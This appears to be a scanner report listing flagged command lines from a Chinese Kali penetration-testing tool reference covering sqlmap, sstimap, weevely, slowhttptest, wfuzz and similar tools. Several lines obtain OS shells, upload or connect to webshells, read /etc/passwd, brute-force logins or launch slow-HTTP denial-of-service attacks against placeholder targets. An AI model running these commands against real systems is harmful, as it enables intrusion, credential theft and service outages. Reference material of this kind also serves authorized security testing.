# 使用 common.txt 字典扫描 gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt - Network accessline 126
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt - Network accessline 128
# 多线程加速(50线程) gobuster dir -u http://target.com \ - Network accessline 129
gobuster dir -u http://target.com \ - Network accessline 133
# 显示完整 URL gobuster dir -u http://target.com \ - Network accessline 134
gobuster dir -u http://target.com \ - Network accessline 142
# 枚举 PHP 和 HTML 文件 gobuster dir -u http://target.com \ - Network accessline 143
gobuster dir -u http://target.com \ - Network accessline 147
# 枚举备份文件 gobuster dir -u http://target.com \ - Network accessline 148
gobuster dir -u http://target.com \ - Network accessline 156
# Cookie 认证 gobuster dir -u http://target.com/admin \ - Network accessline 157
gobuster dir -u http://target.com/admin \ - Network accessline 161
# HTTP 基础认证 gobuster dir -u http://target.com/admin \ - Network accessline 162
gobuster dir -u http://target.com/admin \ - Network accessline 166
# 自定义 Header(Bearer Token) gobuster dir -u http://target.com/api \ - Network accessline 167
gobuster dir -u http://target.com/api \ - Network accessline 175
# 只显示 200 响应 gobuster dir -u http://target.com \ - Network accessline 176
gobuster dir -u http://target.com \ - Network accessline 180
# 排除 403 和 404(黑名单;若已设置则覆盖 --status-codes) gobuster dir -u http://target.com \ - Network accessline 181
gobuster dir -u http://target.com \ - Network accessline 207
gobuster vhost -u http://10.10.10.10 \ - Network accessline 211
# 排除特定响应长度(过滤默认页面) gobuster vhost -u http://10.10.10.10 \ - Network accessline 212
gobuster vhost -u http://10.10.10.10 \ - Network accessline 220
gobuster dir -u https://target.com \ - Network accessline 221
-w /usr/share/wordlists/dirb/common.txt \ --proxy http://127.0.0.1:8080 \ --no-tls-validation - Network accessline 222
--proxy http://127.0.0.1:8080 \ - Network accessline 229
gobuster dir -u http://target.com \ - Network accessline 248
- [gobuster GitHub](https://github.com/OJ/gobuster)
kali-pentest-zh/references/web/tools/gospider.md
- Dangerous shell operationline 15
sudo apt install gospider - Network accessline 39
# 基础爬取单个站点 gospider -s http://example.com - Network accessline 40
gospider -s http://example.com - Network accessline 42
# 深度 3 并含 sitemap 和 robots gospider -s http://example.com -d 3 --sitemap --robots - Network accessline 43
gospider -s http://example.com -d 3 --sitemap --robots - Network accessline 45
# 包含外部来源历史 URL gospider -s http://example.com --other-source - Network accessline 46
gospider -s http://example.com --other-source - Network accessline 51
# 保存输出到目录 gospider -s http://example.com -o ./results - Network accessline 52
gospider -s http://example.com -o ./results - Network accessline 54
# 通过 Burp Suite 代理路由 gospider -s http://example.com --proxy http://127.0.0.1:8080 -d 2 - Network accessline 55
gospider -s http://example.com --proxy http://127.0.0.1:8080 -d 2 - Network accessline 70
- [gospider(GitHub)](https://github.com/jaeles-project/gospider) - Network accessline 71
- [Kali gospider](https://www.kali.org/tools/gospider/)
kali-pentest-zh/references/web/tools/graphw00f.md
- Network accessline 15
# Kali 已预装于 /opt/graphw00f # 或手动安装: git clone https://github.com/dolevf/graphw00f.git - Network accessline 16
# 或手动安装: git clone https://github.com/dolevf/graphw00f.git cd graphw00f - Network accessline 17
git clone https://github.com/dolevf/graphw00f.git - Network accessline 42
# 识别 GraphQL 端点指纹 python3 /opt/graphw00f/main.py -f -t https://target/graphql - Network accessline 43
python3 /opt/graphw00f/main.py -f -t https://target/graphql - Network accessline 45
# 检测模式 — 扫描 GraphQL 端点 python3 /opt/graphw00f/main.py -d -t https://target/graphql - Network accessline 46
python3 /opt/graphw00f/main.py -d -t https://target/graphql - Network accessline 48
# 通过代理并设置超时进行指纹识别 python3 /opt/graphw00f/main.py -f -t https://target/graphql -p http://127.0.0.1:8080 -T 10 - Network accessline 49
python3 /opt/graphw00f/main.py -f -t https://target/graphql -p http://127.0.0.1:8080 -T 10 - Network accessline 65
- [graphw00f GitHub](https://github.com/dolevf/graphw00f)
kali-pentest-zh/references/web/tools/grpcurl.md
- Network accessline 75
- [grpcurl GitHub](https://github.com/fullstorydev/grpcurl)
kali-pentest-zh/references/web/tools/joomscan.md
- Dangerous shell operationline 15
sudo apt update - Dangerous shell operationline 16
sudo apt install joomscan - Network accessline 39
# 基础 Joomla 扫描 joomscan -u https://target.com/ - Network accessline 40
joomscan -u https://target.com/ - Network accessline 42
# 枚举 Joomla 组件 joomscan -u https://target.com/ --enumerate-components - Network accessline 43
joomscan -u https://target.com/ --enumerate-components - Network accessline 45
# 使用 cookie 进行认证态或会话感知扫描 joomscan -u https://target.com/ --cookie "PHPSESSID=value; other=value" - Network accessline 46
joomscan -u https://target.com/ --cookie "PHPSESSID=value; other=value" - Network accessline 48
# 使用自定义 User-Agent joomscan -u https://target.com/ -a "Mozilla/5.0" - Network accessline 49
joomscan -u https://target.com/ -a "Mozilla/5.0" - Network accessline 51
# 随机 User-Agent 并设置超时 joomscan -u https://target.com/ --random-agent --timeout 20 - Network accessline 52
joomscan -u https://target.com/ --random-agent --timeout 20 - Network accessline 54
# 将流量路由到拦截代理 joomscan -u https://target.com/ --proxy http://127.0.0.1:8080 - Network accessline 55
joomscan -u https://target.com/ --proxy http://127.0.0.1:8080 - Dangerous shell operationline 58
sudo apt update && sudo apt install --only-upgrade joomscan - Network accessline 77
- [OWASP JoomScan GitHub](https://github.com/OWASP/joomscan) - Network accessline 78
- [Kali joomscan](https://www.kali.org/tools/joomscan/)
kali-pentest-zh/references/web/tools/jwt_tool.md
- Network accessline 18
# 或从 GitHub 安装: git clone https://github.com/ticarpi/jwt_tool.git - Network accessline 19
git clone https://github.com/ticarpi/jwt_tool.git - Network accessline 48
[Credential-related source omitted] - Network accessline 49
[Credential-related source omitted] - Network accessline 79
- [jwt_tool(GitHub)](https://github.com/ticarpi/jwt_tool)
kali-pentest-zh/references/web/tools/katana.md
- Dangerous shell operationline 16
sudo apt install katana - Network accessline 66
# 爬取单个 Web 目标 katana -u https://target.com -d 3 -silent -o /tmp/katana-urls.txt - Network accessline 67
katana -u https://target.com -d 3 -silent -o /tmp/katana-urls.txt - Network accessline 72
# 解析 JavaScript 和已知文件 katana -u https://target.com -d 3 -jc -kf all -silent -o /tmp/katana-js.txt - Network accessline 73
katana -u https://target.com -d 3 -jc -kf all -silent -o /tmp/katana-js.txt - Network accessline 75
# JSONL 输出并提取表单,便于 Agent 解析 katana -u https://target.com -d 3 -fx -j -o /tmp/katana.jsonl - Network accessline 76
katana -u https://target.com -d 3 -fx -j -o /tmp/katana.jsonl - Network accessline 78
# 针对 JavaScript 较重的应用进行无头爬取 katana -u https://app.target.com -headless -system-chrome -no-sandbox -d 2 -j -o /tmp/katana-headless.jsonl - Network accessline 79
katana -u https://app.target.com -headless -system-chrome -no-sandbox -d 2 -j -o /tmp/katana-headless.jsonl - Network accessline 81
# 将爬取限制在明确范围内 katana -u https://target.com -fs fqdn -cos logout -d 3 -silent - Network accessline 82
katana -u https://target.com -fs fqdn -cos logout -d 3 -silent - Network accessline 84
# 通过拦截代理爬取 katana -u https://target.com -proxy http://127.0.0.1:8080 -d 2 -j -o /tmp/katana-proxy.jsonl - Network accessline 85
katana -u https://target.com -proxy http://127.0.0.1:8080 -d 2 -j -o /tmp/katana-proxy.jsonl - Network accessline 103
- [Katana Documentation](https://docs.projectdiscovery.io/tools/katana/overview) - Network accessline 104
- [Katana GitHub](https://github.com/projectdiscovery/katana)
kali-pentest-zh/references/web/tools/kiterunner.md
- Network accessline 15
# 从官方仓库下载适配你架构的最新 release binary # (release 以 kr-linux-amd64 / kr-linux-arm64 等形式发布——匹配你的平台) curl -L https://github.com/assetnote/kiterunner/releases/latest/download/kr-linux-amd64 -o kr - Network accessline 16
# (release 以 kr-linux-amd64 / kr-linux-arm64 等形式发布——匹配你的平台) curl -L https://github.com/assetnote/kiterunner/releases/latest/download/kr-linux-amd64 -o kr chmod +x kr - Network accessline 17
curl -L https://github.com/assetnote/kiterunner/releases/latest/download/kr-linux-amd64 -o kr - Dangerous shell operationline 19
sudo mv kr /usr/local/bin/ - Network accessline 58
# 扫描单个 API base URL echo https://target/api | kr scan - -w <api_wordlist.kite> - Network accessline 59
echo https://target/api | kr scan - -w <api_wordlist.kite> - Network accessline 61
# 使用纯文本词表爆破 kr brute https://target/api -w /usr/share/wordlists/dirb/common.txt - Network accessline 62
kr brute https://target/api -w /usr/share/wordlists/dirb/common.txt - Network accessline 81
- [Kiterunner GitHub](https://github.com/assetnote/kiterunner)
kali-pentest-zh/references/web/tools/mitmproxy.md
- Dangerous shell operationline 15
sudo apt update - Dangerous shell operationline 16
sudo apt install mitmproxy - Network accessline 52
# 通过代理发送单个 curl 请求 - Network accessline 53
curl -x http://127.0.0.1:8080 -k https://target.com/ - Network accessline 66
# 重放所有捕获的客户端请求 mitmdump -nC /tmp/flows.mitm -w /tmp/replay-result.mitm - Network accessline 67
mitmdump -nC /tmp/flows.mitm -w /tmp/replay-result.mitm - Network accessline 72
# 位于目标服务前方的反向代理模式 mitmdump --mode reverse:https://target.com \ - Network accessline 73
mitmdump --mode reverse:https://target.com \ - Network accessline 111
sqlmap -u "https://api.example.com/v3/users/1" \ - Network accessline 112
--proxy=http://127.0.0.1:8080 --level=5 --risk=3 - Network accessline 114
ffuf -u "https://api.example.com/v3/FUZZ" \ - Network accessline 115
-x http://127.0.0.1:8080 -w /usr/share/wordlists/api-routes.txt - Network accessline 117
dalfox url "https://api.example.com/v3/users/self" \ - Network accessline 118
--proxy http://127.0.0.1:8080 - Network accessline 125
1. 无人值守的 Agent 运行应使用 `mitmdump`,而不是交互式 `mitmproxy` UI。 2. 客户端必须信任 mitmproxy CA 证书才能拦截 TLS;交互式测试环境中可通过代理访问 `http://mitm.it` 安装证书。 - Network accessline 126
2. 客户端必须信任 mitmproxy CA 证书才能拦截 TLS;交互式测试环境中可通过代理访问 `http://mitm.it` 安装证书。 - Network accessline 138
- [mitmproxy Documentation](https://docs.mitmproxy.org/stable/) - Network accessline 139
- [mitmproxy Getting Started](https://docs.mitmproxy.org/stable/overview/getting-started/) - Network accessline 140
- [mitmproxy Options](https://docs.mitmproxy.org/stable/concepts/options/) - Network accessline 141
- [mitmproxy Proxy Modes](https://docs.mitmproxy.org/stable/concepts/modes/) - Network accessline 142
- [mitmproxy Kali Package](https://www.kali.org/tools/mitmproxy/)
kali-pentest-zh/references/web/tools/mitmproxy2swagger.md
- Network accessline 34
# 将 mitmproxy 流量转为 OpenAPI draft mitmproxy2swagger -i flows.mitm -o /tmp/openapi.yaml -p https://target/api - Network accessline 35
mitmproxy2swagger -i flows.mitm -o /tmp/openapi.yaml -p https://target/api - Network accessline 37
# 包含示例 mitmproxy2swagger -i traffic.har -o /tmp/openapi.yaml -p https://target/api -e - Network accessline 38
mitmproxy2swagger -i traffic.har -o /tmp/openapi.yaml -p https://target/api -e - Network accessline 40
# 在示例中包含请求头 mitmproxy2swagger -i traffic.har -o /tmp/openapi.yaml -p https://target/api -e -hd - Network accessline 41
mitmproxy2swagger -i traffic.har -o /tmp/openapi.yaml -p https://target/api -e -hd - Network accessline 43
# 明确指定 HAR 格式并抑制原始参数路径 mitmproxy2swagger -i traffic.har -o /tmp/openapi.yaml -p https://target/api -f har -s - Network accessline 44
mitmproxy2swagger -i traffic.har -o /tmp/openapi.yaml -p https://target/api -f har -s - Network accessline 46
# 使用正则表达式将 UUID 路径段参数化 mitmproxy2swagger -i flows.mitm -o /tmp/openapi.yaml -p https://target/api \ - Network accessline 47
mitmproxy2swagger -i flows.mitm -o /tmp/openapi.yaml -p https://target/api \ - Network accessline 61
- [mitmproxy2swagger GitHub](https://github.com/alufers/mitmproxy2swagger)
kali-pentest-zh/references/web/tools/nikto.md
- Dangerous shell operationline 15
sudo apt install nikto - Network accessline 92
# 基础扫描 nikto -h http://target.com - Network accessline 93
nikto -h http://target.com - Network accessline 95
# HTTPS 目标 nikto -h https://target.com -ssl - Network accessline 96
nikto -h https://target.com -ssl - Network accessline 113
# 使用 Burp 代理 nikto -h target.com -useproxy http://127.0.0.1:8080 - Network accessline 114
nikto -h target.com -useproxy http://127.0.0.1:8080 - Network accessline 138
- [nikto GitHub](https://github.com/sullo/nikto)
kali-pentest-zh/references/web/tools/padbuster.md
- Dangerous shell operationline 15
sudo apt install padbuster - Network accessline 34
| `-post <data>` | POST 请求体数据(将请求方法切换为 POST) | | `-prefix <value>` | 添加到每个加密样本前的前缀 | | `-proxy <url>` | HTTP 代理(例如 `http://127.0.0.1:8080`) | - Network accessline 35
| `-prefix <value>` | 添加到每个加密样本前的前缀 | | `-proxy <url>` | HTTP 代理(例如 `http://127.0.0.1:8080`) | | `-verbose` | 显示详细输出,包括 HTTP 响应 | - Network accessline 36
| `-proxy <url>` | HTTP 代理(例如 `http://127.0.0.1:8080`) | - Network accessline 42
[Credential-related source omitted] - Network accessline 43
[Credential-related source omitted] - Network accessline 45
# 通过 -cookies 传入的 cookie 值解密 padbuster http://target.com/profile "" 16 \ - Network accessline 46
padbuster http://target.com/profile "" 16 \ - Network accessline 50
[Credential-related source omitted] - Network accessline 51
[Credential-related source omitted] - Network accessline 54
[Credential-related source omitted] - Network accessline 55
[Credential-related source omitted] - Network accessline 58
# 使用十六进制编码样本、POST 数据,并通过代理 padbuster http://target.com/login "" 16 \ - Network accessline 59
padbuster http://target.com/login "" 16 \ - Network accessline 60
[Credential-related source omitted] - Network accessline 62
-proxy http://127.0.0.1:8080 - Network accessline 64
[Credential-related source omitted] - Network accessline 65
[Credential-related source omitted] - Network accessline 81
- [PadBuster GitHub](https://github.com/strozfriedberg/PadBuster) - Network accessline 82
- [Kali Tools — padbuster](https://www.kali.org/tools/padbuster/)
kali-pentest-zh/references/web/tools/phpggc.md
kali-pentest-zh/references/web/tools/schemathesis.md
- Network accessline 55
# 使用保守限制运行 OpenAPI 测试 schemathesis run https://target/openapi.json --checks all --rate-limit 5/s --report har --report-dir /tmp/schemathesis - Network accessline 56
schemathesis run https://target/openapi.json --checks all --rate-limit 5/s --report har --report-dir /tmp/schemathesis - Network accessline 58
[Credential-related source omitted] - Network accessline 59
[Credential-related source omitted] - Network accessline 61
# 减少生成用例,进行快速分流 schemathesis run ./openapi.json --url https://target --max-examples 20 - Network accessline 62
schemathesis run ./openapi.json --url https://target --max-examples 20 - Network accessline 64
# 仅运行 coverage 和 fuzzing 阶段,使用 4 个 worker schemathesis run https://target/openapi.json --phases coverage,fuzzing -w 4 - Network accessline 65
schemathesis run https://target/openapi.json --phases coverage,fuzzing -w 4 - Network accessline 67
# 等待 schema 可用(CI 中常用) schemathesis run https://target/openapi.json --wait-for-schema 30 - Network accessline 68
schemathesis run https://target/openapi.json --wait-for-schema 30 - Network accessline 81
- [Schemathesis Documentation](https://schemathesis.readthedocs.io/) - Network accessline 82
- [Schemathesis GitHub](https://github.com/schemathesis/schemathesis)
kali-pentest-zh/references/web/tools/slowhttptest.md
- Dangerous shell operationline 15
sudo apt install slowhttptest - Network accessline 24
| `-R` | Range 攻击模式(Apache killer) | | `-X` | 慢速读取模式 | | `-u <URL>` | 目标的绝对 URL(默认:http://localhost/) | - Network accessline 25
| `-X` | 慢速读取模式 | | `-u <URL>` | 目标的绝对 URL(默认:http://localhost/) | | `-c <num>` | 目标连接数(默认:50) | - Network accessline 26
| `-u <URL>` | 目标的绝对 URL(默认:http://localhost/) | - Network accessline 51
# Slowloris 攻击——1000 连接,持续 300 秒 slowhttptest -c 1000 -H -i 10 -r 200 -l 300 \ -u http://target.com/ -t GET -o /tmp/slowloris -g - Network accessline 52
slowhttptest -c 1000 -H -i 10 -r 200 -l 300 -u http://target.com/ -t GET -o /tmp/slowloris -g - Network accessline 53
-u http://target.com/ -t GET -o /tmp/slowloris -g - Network accessline 55
# Slow POST 攻击——缓慢发送请求体 slowhttptest -c 1000 -B -i 110 -r 200 -l 300 \ -s 8192 -u http://target.com/login -t POST \ - Network accessline 56
slowhttptest -c 1000 -B -i 110 -r 200 -l 300 -s 8192 -u http://target.com/login -t POST - Network accessline 57
-s 8192 -u http://target.com/login -t POST \ - Network accessline 60
# Slow Read 攻击——小接收窗口 slowhttptest -c 1000 -X -r 200 -l 300 \ -u http://target.com/ -o /tmp/slowread -g - Network accessline 61
slowhttptest -c 1000 -X -r 200 -l 300 -u http://target.com/ -o /tmp/slowread -g - Network accessline 62
-u http://target.com/ -o /tmp/slowread -g - Network accessline 64
# Range 头部攻击 slowhttptest -c 500 -R -r 100 -l 180 \ -u http://target.com/ -o /tmp/range -g - Network accessline 65
slowhttptest -c 500 -R -r 100 -l 180 -u http://target.com/ -o /tmp/range -g - Network accessline 66
-u http://target.com/ -o /tmp/range -g - Network accessline 68
# 通过 HTTPS 的 Slowloris,高详细级别 slowhttptest -c 500 -H -i 10 -r 100 -l 240 \ -u https://target.com/ -v 4 -o /tmp/slowloris_https -g - Network accessline 69
slowhttptest -c 500 -H -i 10 -r 100 -l 240 -u https://target.com/ -v 4 -o /tmp/slowloris_https -g - Network accessline 70
-u https://target.com/ -v 4 -o /tmp/slowloris_https -g - Network accessline 72
# 快速弹性检查——短时测试,适量连接 slowhttptest -c 200 -H -i 10 -r 50 -l 60 \ -u http://target.com/ -o /tmp/quick_test -g - Network accessline 73
slowhttptest -c 200 -H -i 10 -r 50 -l 60 -u http://target.com/ -o /tmp/quick_test -g - Network accessline 74
-u http://target.com/ -o /tmp/quick_test -g - Network accessline 89
- [SlowHTTPTest GitHub](https://github.com/shekyan/slowhttptest) - Network accessline 90
- [Kali Tools — slowhttptest](https://www.kali.org/tools/slowhttptest/)
kali-pentest-zh/references/web/tools/sqlmap.md
- Network accessline 23
# 从 GitHub 获取最新版 git clone https://github.com/sqlmapproject/sqlmap.git - Network accessline 24
git clone https://github.com/sqlmapproject/sqlmap.git - Network accessline 147
# 检测 URL 参数是否存在注入 sqlmap -u "http://target.com/page.php?id=1" - Network accessline 148
sqlmap -u "http://target.com/page.php?id=1" - Network accessline 150
# 自动批量模式,检测并列出数据库 sqlmap -u "http://target.com/page.php?id=1" --batch --dbs - Network accessline 151
sqlmap -u "http://target.com/page.php?id=1" --batch --dbs - Network accessline 157
# 指定 POST 数据 sqlmap -u "http://target.com/login.php" \ - Network accessline 158
sqlmap -u "http://target.com/login.php" \ - Network accessline 162
# 只测试指定参数(用 * 标记注入点) sqlmap -u "http://target.com/login.php" \ - Network accessline 163
sqlmap -u "http://target.com/login.php" \ - Network accessline 180
sqlmap -u "http://target.com/page.php" \ - Network accessline 188
# 使用随机 User-Agent + 常用 Tamper 脚本 sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 189
sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 195
# 常用 Tamper 脚本组合 sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 196
sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 203
# 获取当前数据库和用户 sqlmap -u "http://target.com/page.php?id=1" --current-db --current-user - Network accessline 204
sqlmap -u "http://target.com/page.php?id=1" --current-db --current-user - Network accessline 206
# 枚举指定数据库的所有表 sqlmap -u "http://target.com/page.php?id=1" -D webapp --tables - Network accessline 207
sqlmap -u "http://target.com/page.php?id=1" -D webapp --tables - Network accessline 209
# 导出指定表的数据 sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 210
sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 213
# 只导出特定列,且限制行数 sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 214
sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 222
# 检查是否为 DBA 权限 sqlmap -u "http://target.com/page.php?id=1" --is-dba - Network accessline 223
sqlmap -u "http://target.com/page.php?id=1" --is-dba - Network accessline 225
# 尝试获取 OS Shell(需要 DBA 权限) sqlmap -u "http://target.com/page.php?id=1" --os-shell - Network accessline 226
sqlmap -u "http://target.com/page.php?id=1" --os-shell - Network accessline 228
# 读取服务器文件 sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 229
sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 232
# 上传文件(Webshell) sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 233
sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 241
sqlmap -u "http://target.com/page.php?id=1" \ - Network accessline 242
--proxy="http://127.0.0.1:8080" \ - Network accessline 262
- [sqlmap GitHub](https://github.com/sqlmapproject/sqlmap) - Network accessline 263
- [sqlmap Wiki](https://github.com/sqlmapproject/sqlmap/wiki) - Network accessline 264
- [sqlmap 官网](https://sqlmap.org/)
kali-pentest-zh/references/web/tools/sstimap.md
- Dangerous shell operationline 15
sudo apt install sstimap - Network accessline 56
# 对 GET 参数进行基础 SSTI 检测 sstimap -u "http://example.com/search?name=*" - Network accessline 57
sstimap -u "http://example.com/search?name=*" - Network accessline 59
# POST 数据注入 sstimap -u "http://example.com/render" -d "template=*&user=admin" - Network accessline 60
sstimap -u "http://example.com/render" -d "template=*&user=admin" - Network accessline 62
# 检测到 SSTI 后执行操作系统命令 sstimap -u "http://example.com/search?name=*" -S "id" - Network accessline 63
sstimap -u "http://example.com/search?name=*" -S "id" - Network accessline 65
# 获取交互式 Shell sstimap -u "http://example.com/search?name=*" -s - Network accessline 66
sstimap -u "http://example.com/search?name=*" -s - Network accessline 68
# 从服务器下载文件 sstimap -u "http://example.com/search?name=*" -D "/etc/passwd" "./passwd.txt" - Network accessline 69
sstimap -u "http://example.com/search?name=*" -D "/etc/passwd" "./passwd.txt" - Network accessline 71
# 强制指定 Jinja2 引擎(跳过自动检测) sstimap -u "http://example.com/search?name=*" -e Jinja2 - Network accessline 72
sstimap -u "http://example.com/search?name=*" -e Jinja2 - Network accessline 74
# 携带认证 Cookie sstimap -u "http://example.com/profile?name=*" --cookie "session=abc123" - Network accessline 75
sstimap -u "http://example.com/profile?name=*" --cookie "session=abc123" - Network accessline 77
# 通过 Burp Suite 代理路由流量 sstimap -u "http://example.com/search?name=*" --proxy http://127.0.0.1:8080 - Network accessline 78
sstimap -u "http://example.com/search?name=*" --proxy http://127.0.0.1:8080 - Network accessline 93
- [SSTImap(GitHub)](https://github.com/vladko312/SSTImap) - Network accessline 94
- [Kali sstimap](https://www.kali.org/tools/sstimap/)
kali-pentest-zh/references/web/tools/subjack.md
kali-pentest-zh/references/web/tools/tinja.md
- Dangerous shell operationline 15
sudo apt install tinja -y - Network accessline 44
# 测试 GET 参数的 SSTI tinja url "http://target.com/page?name=test" - Network accessline 45
tinja url "http://target.com/page?name=test" - Network accessline 51
# 测试 POST 参数(将数据包含在 URL 查询中或使用配置文件) tinja url "http://target.com/render?template=test&name=value" - Network accessline 52
tinja url "http://target.com/render?template=test&name=value" - Network accessline 58
# 使用认证 Cookie 扫描 tinja url "http://target.com/page?name=test" \ - Network accessline 59
tinja url "http://target.com/page?name=test" \ - Network accessline 66
# 通过 Burp Suite 代理路由 tinja url "http://target.com/page?name=test" \ - Network accessline 67
tinja url "http://target.com/page?name=test" \ - Network accessline 68
--proxyurl http://127.0.0.1:8080 - Network accessline 74
# 扫描多个 URL tinja url "http://target.com/page?name=test" "http://target.com/other?q=test" - Network accessline 75
tinja url "http://target.com/page?name=test" "http://target.com/other?q=test" - Network accessline 84
# 同时启用 SSTI 和 CSTI 扫描 tinja url "http://target.com/page?name=test" --csti - Network accessline 85
tinja url "http://target.com/page?name=test" --csti - Network accessline 100
- [TInjA GitHub](https://github.com/Hackmanit/TInjA) - Network accessline 101
- [Kali Tools - tinja](https://www.kali.org/tools/tinja/)
kali-pentest-zh/references/web/tools/wapiti.md
- Dangerous shell operationline 15
sudo apt install wapiti - Network accessline 61
# 全站扫描并生成 HTML 报告 wapiti -u http://target.com/ -f html -o /tmp/wapiti_report - Network accessline 62
wapiti -u http://target.com/ -f html -o /tmp/wapiti_report - Network accessline 64
# 仅扫描指定模块(XSS 和 SQL 注入) wapiti -u http://target.com/ -m xss,sql -o /tmp/wapiti_report - Network accessline 65
wapiti -u http://target.com/ -m xss,sql -o /tmp/wapiti_report - Network accessline 67
# 使用 basic 认证的扫描(使用 --auth-user/--auth-password;-a/--auth-cred 已弃用) wapiti -u http://target.com/ --auth-user admin --auth-password password123 --auth-method basic - Network accessline 68
wapiti -u http://target.com/ --auth-user admin --auth-password password123 --auth-method basic - Network accessline 70
# 限制扫描范围为单个目录 wapiti -u http://target.com/app/ --scope folder -o /tmp/wapiti_report - Network accessline 71
wapiti -u http://target.com/app/ --scope folder -o /tmp/wapiti_report - Network accessline 73
# 通过代理扫描并生成 JSON 报告 wapiti -u http://target.com/ -p http://127.0.0.1:8080 -f json -o /tmp/wapiti_report.json - Network accessline 74
wapiti -u http://target.com/ -p http://127.0.0.1:8080 -f json -o /tmp/wapiti_report.json - Network accessline 76
# 排除注销 URL 并限制爬取深度 wapiti -u http://target.com/ -x "http://target.com/logout" --max-links-per-page 500 - Network accessline 77
wapiti -u http://target.com/ -x "http://target.com/logout" --max-links-per-page 500 - Network accessline 79
# 清除之前的会话并以详细模式重新扫描 wapiti -u http://target.com/ --flush-session -v 2 -o /tmp/wapiti_report - Network accessline 80
wapiti -u http://target.com/ --flush-session -v 2 -o /tmp/wapiti_report - Network accessline 97
- [Wapiti 官方网站](https://wapiti-scanner.github.io/) - Network accessline 98
- [Wapiti GitHub](https://github.com/wapiti-scanner/wapiti) - Network accessline 99
- [Kali wapiti](https://www.kali.org/tools/wapiti/)
kali-pentest-zh/references/web/tools/websocat.md
- Network accessline 15
# 下载静态二进制(无需 Rust 工具链) curl -sL https://github.com/vi/websocat/releases/latest/download/websocat.x86_64-unknown-linux-musl \ - Network accessline 16
curl -sL https://github.com/vi/websocat/releases/latest/download/websocat.x86_64-unknown-linux-musl \ - Network accessline 60
- [websocat GitHub](https://github.com/vi/websocat)
kali-pentest-zh/references/web/tools/weevely.md
- Dangerous shell operationline 15
sudo apt install weevely - Network accessline 45
# 连接到已部署的 agent weevely http://target.com/uploads/agent.php MyS3cretPass - Network accessline 46
weevely http://target.com/uploads/agent.php MyS3cretPass - Network accessline 99
- [Weevely3 GitHub](https://github.com/epinna/weevely3) - Network accessline 100
- [Kali Tools — weevely](https://www.kali.org/tools/weevely/)
kali-pentest-zh/references/web/tools/wfuzz.md
- Network accessline 119
# 基础目录枚举,过滤 404 wfuzz -u http://target.com/FUZZ \ - Network accessline 120
wfuzz -u http://target.com/FUZZ \ - Network accessline 124
# 多线程目录枚举 wfuzz -u http://target.com/FUZZ \ - Network accessline 125
wfuzz -u http://target.com/FUZZ \ - Network accessline 129
# 枚举特定扩展名文件(配合 FUZ2Z) wfuzz -u http://target.com/FUZZ.FUZ2Z \ - Network accessline 130
wfuzz -u http://target.com/FUZZ.FUZ2Z \ - Network accessline 139
# 发现隐藏参数 wfuzz -u "http://target.com/page.php?FUZZ=test" \ - Network accessline 140
wfuzz -u "http://target.com/page.php?FUZZ=test" \ - Network accessline 144
# 参数值 fuzzing wfuzz -u "http://target.com/page.php?id=FUZZ" \ - Network accessline 145
wfuzz -u "http://target.com/page.php?id=FUZZ" \ - Network accessline 153
# 登录暴力破解 wfuzz -u http://target.com/login.php \ - Network accessline 154
wfuzz -u http://target.com/login.php \ - Network accessline 162
# 凭据暴力破解(双 FUZZ:用户名和密码同时测试) wfuzz -u http://target.com/login.php \ - Network accessline 163
wfuzz -u http://target.com/login.php \ - Network accessline 174
wfuzz -u http://target.com/page.php \ - Network accessline 183
# 测试 X-Forwarded-For IP 伪造 wfuzz -u http://target.com/admin \ - Network accessline 184
wfuzz -u http://target.com/admin \ - Network accessline 189
# 测试 Host Header 注入 wfuzz -u http://target.com/page.php \ - Network accessline 190
wfuzz -u http://target.com/page.php \ - Network accessline 199
# URL 编码 payload wfuzz -u "http://target.com/page.php?path=FUZZ" \ - Network accessline 200
wfuzz -u "http://target.com/page.php?path=FUZZ" \ - Network accessline 204
# 双重编码(链式:urlencode 应用两次,层层叠加) wfuzz -u "http://target.com/page.php?path=FUZZ" \ - Network accessline 205
wfuzz -u "http://target.com/page.php?path=FUZZ" \ - Network accessline 209
# 链式 URL 再 base64 编码(先 urlencode,再在其上 base64) wfuzz -u "http://target.com/page.php?data=FUZZ" \ - Network accessline 210
wfuzz -u "http://target.com/page.php?data=FUZZ" \ - Network accessline 214
# Base64 编码 wfuzz -u "http://target.com/page.php?data=FUZZ" \ - Network accessline 215
wfuzz -u "http://target.com/page.php?data=FUZZ" \ - Network accessline 223
# 基于 DNS 的子域名爆破:对 URL 中的主机名进行 FUZZ # Host 头自动派生,无需额外添加 -H wfuzz -u http://FUZZ.target.com \ - Network accessline 224
# Host 头自动派生,无需额外添加 -H wfuzz -u http://FUZZ.target.com \ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \ - Network accessline 225
wfuzz -u http://FUZZ.target.com \ - Network accessline 243
- [wfuzz GitHub](https://github.com/xmendez/wfuzz) - Network accessline 244
- [wfuzz 文档](https://wfuzz.readthedocs.io/)
kali-pentest-zh/references/web/tools/wpscan.md
- Dangerous shell operationline 15
sudo apt install wpscan - Network accessline 36
| `--usernames LIST` | 密码攻击中使用的用户名列表 | | `--api-token TOKEN` | 用于显示漏洞数据的 WPScan API Token | | `--proxy URL` | 支持的协议取决于已安装的 cURL | - Network accessline 37
| `--api-token TOKEN` | 用于显示漏洞数据的 WPScan API Token | | `--proxy URL` | 支持的协议取决于已安装的 cURL | | `-o FILE` | 输出文件 | - Network accessline 38
| `--proxy URL` | 支持的协议取决于已安装的 cURL | - Network accessline 45
# 基础扫描 wpscan --url http://target.com - Network accessline 46
wpscan --url http://target.com - Network accessline 48
# 枚举所有(用户+插件+主题) wpscan --url http://target.com --enumerate u,p,t - Network accessline 49
wpscan --url http://target.com --enumerate u,p,t - Network accessline 51
# 仅枚举有漏洞的插件(减少噪音) wpscan --url http://target.com --enumerate vp - Network accessline 52
wpscan --url http://target.com --enumerate vp - Network accessline 54
